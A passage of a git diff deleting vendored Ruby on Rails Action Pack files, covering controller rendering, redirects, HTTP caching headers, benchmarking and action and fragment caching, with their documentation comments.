-      # Rendering JSON sets the content type to application/json and optionally wraps the JSON in a callback. It is expected
-      # that the response will be parsed (or eval'd) for use as a data structure.
-      #
-      #   # Renders '{"name": "David"}'
-      #   render :json => {:name => "David"}.to_json
-      #
-      # It's not necessary to call <tt>to_json</tt> on the object you want to render, since <tt>render</tt> will
-      # automatically do that for you:
-      #
-      #   # Also renders '{"name": "David"}'
-      #   render :json => {:name => "David"}
-      #
-      # Sometimes the result isn't handled directly by a script (such as when the request comes from a SCRIPT tag),
-      # so the <tt>:callback</tt> option is provided for these cases.
-      #
-      #   # Renders 'show({"name": "David"})'
-      #   render :json => {:name => "David"}.to_json, :callback => 'show'
-      #
-      # === Rendering an inline template
-      #
-      # Rendering of an inline template works as a cross between text and action rendering where the source for the template
-      # is supplied inline, like text, but its interpreted with ERb or Builder, like action. By default, ERb is used for rendering
-      # and the current layout is not used.
-      #
-      #   # Renders "hello, hello, hello, again"
-      #   render :inline => "<%= 'hello, ' * 3 + 'again' %>"
-      #
-      #   # Renders "<p>Good seeing you!</p>" using Builder
-      #   render :inline => "xml.p { 'Good seeing you!' }", :type => :builder
-      #
-      #   # Renders "hello david"
-      #   render :inline => "<%= 'hello ' + name %>", :locals => { :name => "david" }
-      #
-      # === Rendering inline JavaScriptGenerator page updates
-      #
-      # In addition to rendering JavaScriptGenerator page updates with Ajax in RJS templates (see ActionView::Base for details),
-      # you can also pass the <tt>:update</tt> parameter to +render+, along with a block, to render page updates inline.
-      #
-      #   render :update do |page|
-      #     page.replace_html  'user_list', :partial => 'user', :collection => @users
-      #     page.visual_effect :highlight, 'user_list'
-      #   end
-      #
-      # === Rendering vanilla JavaScript
-      #
-      # In addition to using RJS with render :update, you can also just render vanilla JavaScript with :js.
-      #
-      #   # Renders "alert('hello')" and sets the mime type to text/javascript
-      #   render :js => "alert('hello')"
-      #
-      # === Rendering with status and location headers
-      # All renders take the <tt>:status</tt> and <tt>:location</tt> options and turn them into headers. They can even be used together:
-      #
-      #   render :xml => post.to_xml, :status => :created, :location => post_url(post)
-      def render(options = nil, extra_options = {}, &block) #:doc:
-        raise DoubleRenderError, "Can only render or redirect once per action" if performed?
-
-        validate_render_arguments(options, extra_options, block_given?)
-
-        if options.nil?
-          options = { :template => default_template, :layout => true }
-        elsif options == :update
-          options = extra_options.merge({ :update => true })
-        elsif options.is_a?(String) || options.is_a?(Symbol)
-          case options.to_s.index('/')
-          when 0
-            extra_options[:file] = options
-          when nil
-            extra_options[:action] = options
-          else
-            extra_options[:template] = options
-          end
-
-          options = extra_options
-        elsif !options.is_a?(Hash)
-          extra_options[:partial] = options
-          options = extra_options
-        end
-
-        layout = pick_layout(options)
-        response.layout = layout.path_without_format_and_extension if layout
-        logger.info("Rendering template within #{layout.path_without_format_and_extension}") if logger && layout
-
-        if content_type = options[:content_type]
-          response.content_type = content_type.to_s
-        end
-
-        if location = options[:location]
-          response.headers["Location"] = url_for(location)
-        end
-
-        if options.has_key?(:text)
-          text = layout ? @template.render(options.merge(:text => options[:text], :layout => layout)) : options[:text]
-          render_for_text(text, options[:status])
-
-        else
-          if file = options[:file]
-            render_for_file(file, options[:status], layout, options[:locals] || {})
-
-          elsif template = options[:template]
-            render_for_file(template, options[:status], layout, options[:locals] || {})
-
-          elsif inline = options[:inline]
-            render_for_text(@template.render(options.merge(:layout => layout)), options[:status])
-
-          elsif action_name = options[:action]
-            render_for_file(default_template(action_name.to_s), options[:status], layout)
-
-          elsif xml = options[:xml]
-            response.content_type ||= Mime::XML
-            render_for_text(xml.respond_to?(:to_xml) ? xml.to_xml : xml, options[:status])
-
-          elsif js = options[:js]
-            response.content_type ||= Mime::JS
-            render_for_text(js, options[:status])
-
-          elsif options.include?(:json)
-            json = options[:json]
-            json = ActiveSupport::JSON.encode(json) unless json.is_a?(String)
-            json = "#{options[:callback]}(#{json})" unless options[:callback].blank?
-            response.content_type ||= Mime::JSON
-            render_for_text(json, options[:status])
-
-          elsif options[:partial]
-            options[:partial] = default_template_name if options[:partial] == true
-            if layout
-              render_for_text(@template.render(:text => @template.render(options), :layout => layout), options[:status])
-            else
-              render_for_text(@template.render(options), options[:status])
-            end
-
-          elsif options[:update]
-            @template.send(:_evaluate_assigns_and_ivars)
-
-            generator = ActionView::Helpers::PrototypeHelper::JavaScriptGenerator.new(@template, &block)
-            response.content_type = Mime::JS
-            render_for_text(generator.to_s, options[:status])
-
-          elsif options[:nothing]
-            render_for_text(nil, options[:status])
-
-          else
-            render_for_file(default_template, options[:status], layout)
-          end
-        end
-      end
-
-      # Renders according to the same rules as <tt>render</tt>, but returns the result in a string instead
-      # of sending it as the response body to the browser.
-      def render_to_string(options = nil, &block) #:doc:
-        render(options, &block)
-      ensure
-        response.content_type = nil
-        erase_render_results
-        reset_variables_added_to_assigns
-      end
-
-      # Return a response that has no content (merely headers). The options
-      # argument is interpreted to be a hash of header names and values.
-      # This allows you to easily return a response that consists only of
-      # significant headers:
-      #
-      #   head :created, :location => person_path(@person)
-      #
-      # It can also be used to return exceptional conditions:
-      #
-      #   return head(:method_not_allowed) unless request.post?
-      #   return head(:bad_request) unless valid_request?
-      #   render
-      def head(*args)
-        if args.length > 2
-          raise ArgumentError, "too many arguments to head"
-        elsif args.empty?
-          raise ArgumentError, "too few arguments to head"
-        end
-        options = args.extract_options!
-        status = interpret_status(args.shift || options.delete(:status) || :ok)
-
-        options.each do |key, value|
-          headers[key.to_s.dasherize.split(/-/).map { |v| v.capitalize }.join("-")] = value.to_s
-        end
-
-        render :nothing => true, :status => status
-      end
-
-      # Clears the rendered results, allowing for another render to be performed.
-      def erase_render_results #:nodoc:
-        response.body = nil
-        @performed_render = false
-      end
-
-      # Clears the redirected results from the headers, resets the status to 200 and returns
-      # the URL that was used to redirect or nil if there was no redirected URL
-      # Note that +redirect_to+ will change the body of the response to indicate a redirection.
-      # The response body is not reset here, see +erase_render_results+
-      def erase_redirect_results #:nodoc:
-        @performed_redirect = false
-        response.redirected_to = nil
-        response.redirected_to_method_params = nil
-        response.status = DEFAULT_RENDER_STATUS_CODE
-        response.headers.delete('Location')
-      end
-
-      # Erase both render and redirect results
-      def erase_results #:nodoc:
-        erase_render_results
-        erase_redirect_results
-      end
-
-      def rewrite_options(options) #:nodoc:
-        if defaults = default_url_options(options)
-          defaults.merge(options)
-        else
-          options
-        end
-      end
-
-      # Overwrite to implement a number of default options that all url_for-based methods will use. The default options should come in
-      # the form of a hash, just like the one you would use for url_for directly. Example:
-      #
-      #   def default_url_options(options)
-      #     { :project => @project.active? ? @project.url_name : "unknown" }
-      #   end
-      #
-      # As you can infer from the example, this is mostly useful for situations where you want to centralize dynamic decisions about the
-      # urls as they stem from the business domain. Please note that any individual url_for call can always override the defaults set
-      # by this method.
-      def default_url_options(options = nil)
-      end
-
-      # Redirects the browser to the target specified in +options+. This parameter can take one of three forms:
-      #
-      # * <tt>Hash</tt> - The URL will be generated by calling url_for with the +options+.
-      # * <tt>Record</tt> - The URL will be generated by calling url_for with the +options+, which will reference a named URL for that record.
-      # * <tt>String</tt> starting with <tt>protocol://</tt> (like <tt>http://</tt>) - Is passed straight through as the target for redirection.
-      # * <tt>String</tt> not containing a protocol - The current protocol and host is prepended to the string.
-      # * <tt>:back</tt> - Back to the page that issued the request. Useful for forms that are triggered from multiple places.
-      #   Short-hand for <tt>redirect_to(request.env["HTTP_REFERER"])</tt>
-      #
-      # Examples:
-      #   redirect_to :action => "show", :id => 5
-      #   redirect_to post
-      #   redirect_to "http://www.rubyonrails.org"
-      #   redirect_to "/images/screenshot.jpg"
-      #   redirect_to articles_url
-      #   redirect_to :back
-      #
-      # The redirection happens as a "302 Moved" header unless otherwise specified.
-      #
-      # Examples:
-      #   redirect_to post_url(@post), :status => :found
-      #   redirect_to :action=>'atom', :status => :moved_permanently
-      #   redirect_to post_url(@post), :status => 301
-      #   redirect_to :action=>'atom', :status => 302
-      #
-      # The status code can either be a standard {HTTP Status code}[http://www.iana.org/assignments/http-status-codes] as an 
-      # integer, or a symbol representing the downcased, underscored and symbolized description.
-      #
-      # It is also possible to assign a flash message as part of the redirection. There are two special accessors for commonly used the flash names
-      # +alert+ and +notice+ as well as a general purpose +flash+ bucket.
-      #
-      # Examples:
-      #   redirect_to post_url(@post), :alert => "Watch it, mister!"
-      #   redirect_to post_url(@post), :status=> :found, :notice => "Pay attention to the road"
-      #   redirect_to post_url(@post), :status => 301, :flash => { :updated_post_id => @post.id }
-      #   redirect_to { :action=>'atom' }, :alert => "Something serious happened"
-      #
-      # When using <tt>redirect_to :back</tt>, if there is no referrer, RedirectBackError will be raised. You may specify some fallback
-      # behavior for this case by rescuing RedirectBackError.
-      def redirect_to(options = {}, response_status = {}) #:doc:
-        raise ActionControllerError.new("Cannot redirect to nil!") if options.nil?
-
-        if options.is_a?(Hash) && options[:status]
-          status = options.delete(:status)
-        elsif response_status[:status]
-          status = response_status[:status]
-        else
-          status = 302
-        end
-
-        response.redirected_to = options
-
-        case options
-          # The scheme name consist of a letter followed by any combination of
-          # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
-          # characters; and is terminated by a colon (":").
-          when %r{^\w[\w\d+.-]*:.*}
-            redirect_to_full_url(options, status)
-          when String
-            redirect_to_full_url(request.protocol + request.host_with_port + options, status)
-          when :back
-            if referer = request.headers["Referer"]
-              redirect_to(referer, :status=>status)
-            else
-              raise RedirectBackError
-            end
-          else
-            redirect_to_full_url(url_for(options), status)
-        end
-      end
-
-      def redirect_to_full_url(url, status)
-        raise DoubleRenderError if performed?
-        logger.info("Redirected to #{url}") if logger && logger.info?
-        response.redirect(url, interpret_status(status))
-        @performed_redirect = true
-      end
-
-      # Sets the etag and/or last_modified on the response and checks it against
-      # the client request. If the request doesn't match the options provided, the
-      # request is considered stale and should be generated from scratch. Otherwise,
-      # it's fresh and we don't need to generate anything and a reply of "304 Not Modified" is sent.
-      #
-      # Parameters:
-      # * <tt>:etag</tt>
-      # * <tt>:last_modified</tt> 
-      # * <tt>:public</tt> By default the Cache-Control header is private, set this to true if you want your application to be cachable by other devices (proxy caches).
-      #
-      # Example:
-      #
-      #   def show
-      #     @article = Article.find(params[:id])
-      #
-      #     if stale?(:etag => @article, :last_modified => @article.created_at.utc)
-      #       @statistics = @article.really_expensive_call
-      #       respond_to do |format|
-      #         # all the supported formats
-      #       end
-      #     end
-      #   end
-      def stale?(options)
-        fresh_when(options)
-        !request.fresh?(response)
-      end
-
-      # Sets the etag, last_modified, or both on the response and renders a
-      # "304 Not Modified" response if the request is already fresh.
-      #
-      # Parameters:
-      # * <tt>:etag</tt>
-      # * <tt>:last_modified</tt> 
-      # * <tt>:public</tt> By default the Cache-Control header is private, set this to true if you want your application to be cachable by other devices (proxy caches).
-      #
-      # Example:
-      #
-      #   def show
-      #     @article = Article.find(params[:id])
-      #     fresh_when(:etag => @article, :last_modified => @article.created_at.utc, :public => true)
-      #   end
-      #
-      # This will render the show template if the request isn't sending a matching etag or
-      # If-Modified-Since header and just a "304 Not Modified" response if there's a match.
-      #
-      def fresh_when(options)
-        options.assert_valid_keys(:etag, :last_modified, :public)
-
-        response.etag          = options[:etag]          if options[:etag]
-        response.last_modified = options[:last_modified] if options[:last_modified]
-        
-        if options[:public] 
-          cache_control = response.headers["Cache-Control"].split(",").map {|k| k.strip }
-          cache_control.delete("private")
-          cache_control.delete("no-cache")
-          cache_control << "public"
-          response.headers["Cache-Control"] = cache_control.join(', ')
-        end
-
-        if request.fresh?(response)
-          head :not_modified
-        end
-      end
-
-      # Sets a HTTP 1.1 Cache-Control header. Defaults to issuing a "private" instruction, so that
-      # intermediate caches shouldn't cache the response.
-      #
-      # Examples:
-      #   expires_in 20.minutes
-      #   expires_in 3.hours, :public => true
-      #   expires in 3.hours, 'max-stale' => 5.hours, :public => true
-      #
-      # This method will overwrite an existing Cache-Control header.
-      # See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities.
-      def expires_in(seconds, options = {}) #:doc:
-        cache_control = response.headers["Cache-Control"].split(",").map {|k| k.strip }
-
-        cache_control << "max-age=#{seconds}"
-        cache_control.delete("no-cache")
-        if options[:public]
-          cache_control.delete("private")
-          cache_control << "public"
-        else
-          cache_control << "private"
-        end
-        
-        # This allows for additional headers to be passed through like 'max-stale' => 5.hours
-        cache_control += options.symbolize_keys.reject{|k,v| k == :public || k == :private }.map{ |k,v| v == true ? k.to_s : "#{k.to_s}=#{v.to_s}"}
-        
-        response.headers["Cache-Control"] = cache_control.join(', ')
-      end
-
-      # Sets a HTTP 1.1 Cache-Control header of "no-cache" so no caching should occur by the browser or
-      # intermediate caches (like caching proxy servers).
-      def expires_now #:doc:
-        response.headers["Cache-Control"] = "no-cache"
-      end
-
-      # Resets the session by clearing out all the objects stored within and initializing a new session object.
-      def reset_session #:doc:
-        request.reset_session
-        @_session = request.session
-      end
-
-    private
-      def render_for_file(template_path, status = nil, layout = nil, locals = {}) #:nodoc:
-        path = template_path.respond_to?(:path_without_format_and_extension) ? template_path.path_without_format_and_extension : template_path
-        logger.info("Rendering #{path}" + (status ? " (#{status})" : '')) if logger
-        render_for_text @template.render(:file => template_path, :locals => locals, :layout => layout), status
-      end
-
-      def render_for_text(text = nil, status = nil, append_response = false) #:nodoc:
-        @performed_render = true
-
-        response.status = interpret_status(status || DEFAULT_RENDER_STATUS_CODE)
-
-        if append_response
-          response.body ||= ''
-          response.body << text.to_s
-        else
-          response.body = case text
-            when Proc then text
-            when nil  then " " # Safari doesn't pass the headers of the return if the response is zero length
-            else           text.to_s
-          end
-        end
-      end
-
-      def validate_render_arguments(options, extra_options, has_block)
-        if options && (has_block && options != :update) && !options.is_a?(String) && !options.is_a?(Hash) && !options.is_a?(Symbol)
-          raise RenderError, "You called render with invalid options : #{options.inspect}"
-        end
-
-        if !extra_options.is_a?(Hash)
-          raise RenderError, "You called render with invalid options : #{options.inspect}, #{extra_options.inspect}"
-        end
-      end
-
-      def initialize_template_class(response)
-        response.template = ActionView::Base.new(self.class.view_paths, {}, self)
-        response.template.helpers.send :include, self.class.master_helper_module
-        response.redirected_to = nil
-        @performed_render = @performed_redirect = false
-      end
-
-      def assign_shortcuts(request, response)
-        @_request, @_params = request, request.parameters
-
-        @_response         = response
-        @_response.session = request.session
-
-        @_session = @_response.session
-        @template = @_response.template
-
-        @_headers = @_response.headers
-      end
-
-      def initialize_current_url
-        @url = UrlRewriter.new(request, params.clone)
-      end
-
-      def log_processing
-        if logger && logger.info?
-          log_processing_for_request_id
-          log_processing_for_parameters
-        end
-      end
-
-      def log_processing_for_request_id
-        request_id = "\n\nProcessing #{self.class.name}\##{action_name} "
-        request_id << "to #{params[:format]} " if params[:format]
-        request_id << "(for #{request_origin}) [#{request.method.to_s.upcase}]"
-
-        logger.info(request_id)
-      end
-
-      def log_processing_for_parameters
-        parameters = respond_to?(:filter_parameters) ? filter_parameters(params) : params.dup
-        parameters = parameters.except!(:controller, :action, :format, :_method)
-
-        logger.info "  Parameters: #{parameters.inspect}" unless parameters.empty?
-      end
-
-      def default_render #:nodoc:
-        render
-      end
-
-      def perform_action
-        if action_methods.include?(action_name)
-          send(action_name)
-          default_render unless performed?
-        elsif respond_to? :method_missing
-          method_missing action_name
-          default_render unless performed?
-        else
-          begin
-            default_render
-          rescue ActionView::MissingTemplate => e
-            # Was the implicit template missing, or was it another template?
-            if e.path == default_template_name
-              raise UnknownAction, "No action responded to #{action_name}. Actions: #{action_methods.sort.to_sentence(:locale => :en)}", caller
-            else
-              raise e
-            end
-          end
-        end
-      end
-
-      def performed?
-        @performed_render || @performed_redirect
-      end
-
-      def assign_names
-        @action_name = (params['action'] || 'index')
-      end
-
-      def action_methods
-        self.class.action_methods
-      end
-
-      def self.action_methods
-        @action_methods ||=
-          # All public instance methods of this class, including ancestors
-          public_instance_methods(true).map { |m| m.to_s }.to_set -
-          # Except for public instance methods of Base and its ancestors
-          Base.public_instance_methods(true).map { |m| m.to_s } +
-          # Be sure to include shadowed public instance methods of this class
-          public_instance_methods(false).map { |m| m.to_s } -
-          # And always exclude explicitly hidden actions
-          hidden_actions
-      end
-
-      def reset_variables_added_to_assigns
-        @template.instance_variable_set("@assigns_added", nil)
-      end
-
-      def request_origin
-        # this *needs* to be cached!
-        # otherwise you'd get different results if calling it more than once
-        @request_origin ||= "#{request.remote_ip} at #{Time.now.to_s(:db)}"
-      end
-
-      def complete_request_uri
-        "#{request.protocol}#{request.host}#{request.request_uri}"
-      end
-
-      def default_template(action_name = self.action_name)
-        self.view_paths.find_template(default_template_name(action_name), default_template_format)
-      end
-
-      def default_template_name(action_name = self.action_name)
-        if action_name
-          action_name = action_name.to_s
-          if action_name.include?('/') && template_path_includes_controller?(action_name)
-            action_name = strip_out_controller(action_name)
-          end
-        end
-        "#{self.controller_path}/#{action_name}"
-      end
-
-      def strip_out_controller(path)
-        path.split('/', 2).last
-      end
-
-      def template_path_includes_controller?(path)
-        self.controller_path.split('/')[-1] == path.split('/')[0]
-      end
-
-      def process_cleanup
-      end
-  end
-
-  Base.class_eval do
-    [ Filters, Layout, Benchmarking, Rescue, MimeResponds, Helpers, Flash,
-      Cookies, Caching, Verification, Streaming, SessionManagement,
-      HttpAuthentication::Basic::ControllerMethods, HttpAuthentication::Digest::ControllerMethods,
-      RecordIdentifier, RequestForgeryProtection, Translation
-    ].each do |mod|
-      include mod
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/benchmarking.rb b/vendor/rails/actionpack/lib/action_controller/benchmarking.rb
deleted file mode 100644
index 47377e5f..00000000
--- a/vendor/rails/actionpack/lib/action_controller/benchmarking.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-require 'benchmark'
-
-module ActionController #:nodoc:
-  # The benchmarking module times the performance of actions and reports to the logger. If the Active Record
-  # package has been included, a separate timing section for database calls will be added as well.
-  module Benchmarking #:nodoc:
-    def self.included(base)
-      base.extend(ClassMethods)
-
-      base.class_eval do
-        alias_method_chain :perform_action, :benchmark
-        alias_method_chain :render, :benchmark
-      end
-    end
-
-    module ClassMethods
-      # Log and benchmark the workings of a single block and silence whatever logging that may have happened inside it 
-      # (unless <tt>use_silence</tt> is set to false).
-      #
-      # The benchmark is only recorded if the current level of the logger matches the <tt>log_level</tt>, which makes it
-      # easy to include benchmarking statements in production software that will remain inexpensive because the benchmark
-      # will only be conducted if the log level is low enough.
-      def benchmark(title, log_level = Logger::DEBUG, use_silence = true)
-        if logger && logger.level == log_level
-          result = nil
-          ms = Benchmark.ms { result = use_silence ? silence { yield } : yield }
-          logger.add(log_level, "#{title} (#{('%.1f' % ms)}ms)")
-          result
-        else
-          yield
-        end
-      end
-
-      # Silences the logger for the duration of the block.
-      def silence
-        old_logger_level, logger.level = logger.level, Logger::ERROR if logger
-        yield
-      ensure
-        logger.level = old_logger_level if logger
-      end
-    end
-
-    protected
-      def render_with_benchmark(options = nil, extra_options = {}, &block)
-        if logger
-          if Object.const_defined?("ActiveRecord") && ActiveRecord::Base.connected?
-            db_runtime = ActiveRecord::Base.connection.reset_runtime
-          end
-
-          render_output = nil
-          @view_runtime = Benchmark.ms { render_output = render_without_benchmark(options, extra_options, &block) }
-
-          if Object.const_defined?("ActiveRecord") && ActiveRecord::Base.connected?
-            @db_rt_before_render = db_runtime
-            @db_rt_after_render = ActiveRecord::Base.connection.reset_runtime
-            @view_runtime -= @db_rt_after_render
-          end
-
-          render_output
-        else
-          render_without_benchmark(options, extra_options, &block)
-        end
-      end    
-
-    private
-      def perform_action_with_benchmark
-        if logger
-          ms = [Benchmark.ms { perform_action_without_benchmark }, 0.01].max
-          logging_view          = defined?(@view_runtime)
-          logging_active_record = Object.const_defined?("ActiveRecord") && ActiveRecord::Base.connected?
-
-          log_message  = 'Completed in %.0fms' % ms
-
-          if logging_view || logging_active_record
-            log_message << " ("
-            log_message << view_runtime if logging_view
-
-            if logging_active_record
-              log_message << ", " if logging_view
-              log_message << active_record_runtime + ")"
-            else
-              ")"
-            end
-          end
-
-          log_message << " | #{response.status}"
-          log_message << " [#{complete_request_uri rescue "unknown"}]"
-
-          logger.info(log_message)
-          response.headers["X-Runtime"] = "%.0f" % ms
-        else
-          perform_action_without_benchmark
-        end
-      end
-
-      def view_runtime
-        "View: %.0f" % @view_runtime
-      end
-
-      def active_record_runtime
-        db_runtime = ActiveRecord::Base.connection.reset_runtime
-        db_runtime += @db_rt_before_render if @db_rt_before_render
-        db_runtime += @db_rt_after_render if @db_rt_after_render
-        "DB: %.0f" % db_runtime
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/caching.rb b/vendor/rails/actionpack/lib/action_controller/caching.rb
deleted file mode 100644
index a379485c..00000000
--- a/vendor/rails/actionpack/lib/action_controller/caching.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-require 'fileutils'
-require 'uri'
-require 'set'
-
-module ActionController #:nodoc:
-  # Caching is a cheap way of speeding up slow applications by keeping the result of calculations, renderings, and database calls
-  # around for subsequent requests. Action Controller affords you three approaches in varying levels of granularity: Page, Action, Fragment.
-  #
-  # You can read more about each approach and the sweeping assistance by clicking the modules below.
-  #
-  # Note: To turn off all caching and sweeping, set Base.perform_caching = false.
-  #
-  #
-  # == Caching stores
-  #
-  # All the caching stores from ActiveSupport::Cache is available to be used as backends for Action Controller caching. This setting only
-  # affects action and fragment caching as page caching is always written to disk.
-  #
-  # Configuration examples (MemoryStore is the default):
-  #
-  #   ActionController::Base.cache_store = :memory_store
-  #   ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
-  #   ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
-  #   ActionController::Base.cache_store = :mem_cache_store, "localhost"
-  #   ActionController::Base.cache_store = :mem_cache_store, Memcached::Rails.new("localhost:11211")
-  #   ActionController::Base.cache_store = MyOwnStore.new("parameter")
-  module Caching
-    autoload :Actions, 'action_controller/caching/actions'
-    autoload :Fragments, 'action_controller/caching/fragments'
-    autoload :Pages, 'action_controller/caching/pages'
-    autoload :Sweeper, 'action_controller/caching/sweeper'
-    autoload :Sweeping, 'action_controller/caching/sweeping'
-
-    def self.included(base) #:nodoc:
-      base.class_eval do
-        @@cache_store = nil
-        cattr_reader :cache_store
-
-        # Defines the storage option for cached fragments
-        def self.cache_store=(store_option)
-          @@cache_store = ActiveSupport::Cache.lookup_store(store_option)
-        end
-
-        include Pages, Actions, Fragments
-        include Sweeping if defined?(ActiveRecord)
-
-        @@perform_caching = true
-        cattr_accessor :perform_caching
-
-        def self.cache_configured?
-          perform_caching && cache_store
-        end
-      end
-    end
-
-    protected
-      # Convenience accessor
-      def cache(key, options = {}, &block)
-        if cache_configured?
-          cache_store.fetch(ActiveSupport::Cache.expand_cache_key(key, :controller), options, &block)
-        else
-          yield
-        end
-      end
-
-    private
-      def cache_configured?
-        self.class.cache_configured?
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/actions.rb b/vendor/rails/actionpack/lib/action_controller/caching/actions.rb
deleted file mode 100644
index 21ee9bd3..00000000
--- a/vendor/rails/actionpack/lib/action_controller/caching/actions.rb
+++ /dev/null
@@ -1,177 +0,0 @@
-require 'set'
-
-module ActionController #:nodoc:
-  module Caching
-    # Action caching is similar to page caching by the fact that the entire output of the response is cached, but unlike page caching,
-    # every request still goes through the Action Pack. The key benefit of this is that filters are run before the cache is served, which
-    # allows for authentication and other restrictions on whether someone is allowed to see the cache. Example:
-    #
-    #   class ListsController < ApplicationController
-    #     before_filter :authenticate, :except => :public
-    #     caches_page   :public
-    #     caches_action :index, :show, :feed
-    #   end
-    #
-    # In this example, the public action doesn't require authentication, so it's possible to use the faster page caching method. But both the
-    # show and feed action are to be shielded behind the authenticate filter, so we need to implement those as action caches.
-    #
-    # Action caching internally uses the fragment caching and an around filter to do the job. The fragment cache is named according to both
-    # the current host and the path. So a page that is accessed at http://david.somewhere.com/lists/show/1 will result in a fragment named
-    # "david.somewhere.com/lists/show/1". This allows the cacher to differentiate between "david.somewhere.com/lists/" and
-    # "jamis.somewhere.com/lists/" -- which is a helpful way of assisting the subdomain-as-account-key pattern.
-    #
-    # Different representations of the same resource, e.g. <tt>http://david.somewhere.com/lists</tt> and <tt>http://david.somewhere.com/lists.xml</tt>
-    # are treated like separate requests and so are cached separately. Keep in mind when expiring an action cache that <tt>:action => 'lists'</tt> is not the same
-    # as <tt>:action => 'list', :format => :xml</tt>.
-    #
-    # You can set modify the default action cache path by passing a :cache_path option.  This will be passed directly to ActionCachePath.path_for.  This is handy
-    # for actions with multiple possible routes that should be cached differently.  If a block is given, it is called with the current controller instance.
-    #
-    # And you can also use :if (or :unless) to pass a Proc that specifies when the action should be cached.
-    #
-    # Finally, if you are using memcached, you can also pass :expires_in.
-    #
-    #   class ListsController < ApplicationController
-    #     before_filter :authenticate, :except => :public
-    #     caches_page   :public
-    #     caches_action :index, :if => Proc.new { |c| !c.request.format.json? } # cache if is not a JSON request
-    #     caches_action :show, :cache_path => { :project => 1 }, :expires_in => 1.hour
-    #     caches_action :feed, :cache_path => Proc.new { |controller|
-    #       controller.params[:user_id] ?
-    #         controller.send(:user_list_url, controller.params[:user_id], controller.params[:id]) :
-    #         controller.send(:list_url, controller.params[:id]) }
-    #   end
-    #
-    # If you pass :layout => false, it will only cache your action content. It is useful when your layout has dynamic information.
-    #
-    module Actions
-      def self.included(base) #:nodoc:
-        base.extend(ClassMethods)
-          base.class_eval do
-            attr_accessor :rendered_action_cache, :action_cache_path
-          end
-      end
-
-      module ClassMethods
-        # Declares that +actions+ should be cached.
-        # See ActionController::Caching::Actions for details.
-        def caches_action(*actions)
-          return unless cache_configured?
-          options = actions.extract_options!
-          filter_options = { :only => actions, :if => options.delete(:if), :unless => options.delete(:unless) }
-
-          cache_filter = ActionCacheFilter.new(:layout => options.delete(:layout), :cache_path => options.delete(:cache_path), :store_options => options)
-          around_filter(filter_options) do |controller, action|
-            cache_filter.filter(controller, action)
-          end
-        end
-      end
-
-      protected
-        def expire_action(options = {})
-          return unless cache_configured?
-
-          if options[:action].is_a?(Array)
-            options[:action].dup.each do |action|
-              expire_fragment(ActionCachePath.path_for(self, options.merge({ :action => action }), false))
-            end
-          else
-            expire_fragment(ActionCachePath.path_for(self, options, false))
-          end
-        end
-
-      class ActionCacheFilter #:nodoc:
-        def initialize(options, &block)
-          @options = options
-        end
-
-        def filter(controller, action)
-          should_continue = before(controller)
-          action.call if should_continue
-          after(controller)
-        end
-
-        def before(controller)
-          cache_path = ActionCachePath.new(controller, path_options_for(controller, @options.slice(:cache_path)))
-          if cache = controller.read_fragment(cache_path.path, @options[:store_options])
-            controller.rendered_action_cache = true
-            set_content_type!(controller, cache_path.extension)
-            options = { :text => cache }
-            options.merge!(:layout => true) if cache_layout?
-            controller.__send__(:render, options)
-            false
-          else
-            controller.action_cache_path = cache_path
-          end
-        end
-
-        def after(controller)
-          return if controller.rendered_action_cache || !caching_allowed(controller)
-          action_content = cache_layout? ? content_for_layout(controller) : controller.response.body
-          controller.write_fragment(controller.action_cache_path.path, action_content, @options[:store_options])
-        end
-
-        private
-          def set_content_type!(controller, extension)
-            controller.response.content_type = Mime::Type.lookup_by_extension(extension).to_s if extension
-          end
-
-          def path_options_for(controller, options)
-            ((path_options = options[:cache_path]).respond_to?(:call) ? path_options.call(controller) : path_options) || {}
-          end
-
-          def caching_allowed(controller)
-            controller.request.get? && controller.response.status.to_i == 200
-          end
-
-          def cache_layout?
-            @options[:layout] == false
-          end
-
-          def content_for_layout(controller)
-            controller.response.layout && controller.response.template.instance_variable_get('@cached_content_for_layout')
-          end
-      end
-
-      class ActionCachePath
-        attr_reader :path, :extension
-
-        class << self
-          def path_for(controller, options, infer_extension = true)
-            new(controller, options, infer_extension).path
-          end
-        end
-        
-        # When true, infer_extension will look up the cache path extension from the request's path & format.
-        # This is desirable when reading and writing the cache, but not when expiring the cache -
-        # expire_action should expire the same files regardless of the request format.
-        def initialize(controller, options = {}, infer_extension = true)
-          if infer_extension
-            extract_extension(controller.request)
-            options = options.reverse_merge(:format => @extension) if options.is_a?(Hash)
-          end
-
-          path = controller.url_for(options).split('://').last
-          normalize!(path)
-          add_extension!(path, @extension)
-          @path = URI.unescape(path)
-        end
-
-        private
-          def normalize!(path)
-            path << 'index' if path[-1] == ?/
-          end
-
-          def add_extension!(path, extension)
-            path << ".#{extension}" if extension and !path.ends_with?(extension)
-          end
-          
-          def extract_extension(request)
-            # Don't want just what comes after the last '.' to accommodate multi part extensions
-            # such as tar.gz.
-            @extension = request.path[/^[^.]+\.(.+)$/, 1] || request.cache_format
-          end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb b/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb
deleted file mode 100644
index 56ccc4ad..00000000
--- a/vendor/rails/actionpack/lib/action_controller/caching/fragments.rb
+++ /dev/null
@@ -1,120 +0,0 @@
-module ActionController #:nodoc:
-  module Caching
-    # Fragment caching is used for caching various blocks within templates without caching the entire action as a whole. This is useful when
-    # certain elements of an action change frequently or depend on complicated state while other parts rarely change or can be shared amongst multiple
-    # parties. The caching is done using the cache helper available in the Action View. A template with caching might look something like:
-    #
-    #   <b>Hello <%= @name %></b>
-    #   <% cache do %>
-    #     All the topics in the system:
-    #     <%= render :partial => "topic", :collection => Topic.find(:all) %>
-    #   <% end %>
-    #
-    # This cache will bind to the name of the action that called it, so if this code was part of the view for the topics/list action, you would
-    # be able to invalidate it using <tt>expire_fragment(:controller => "topics", :action => "list")</tt>.
-    #
-    # This default behavior is of limited use if you need to cache multiple fragments per action or if the action itself is cached using
-    # <tt>caches_action</tt>, so we also have the option to qualify the name of the cached fragment with something like:
-    #
-    #   <% cache(:action => "list", :action_suffix => "all_topics") do %>
-    #
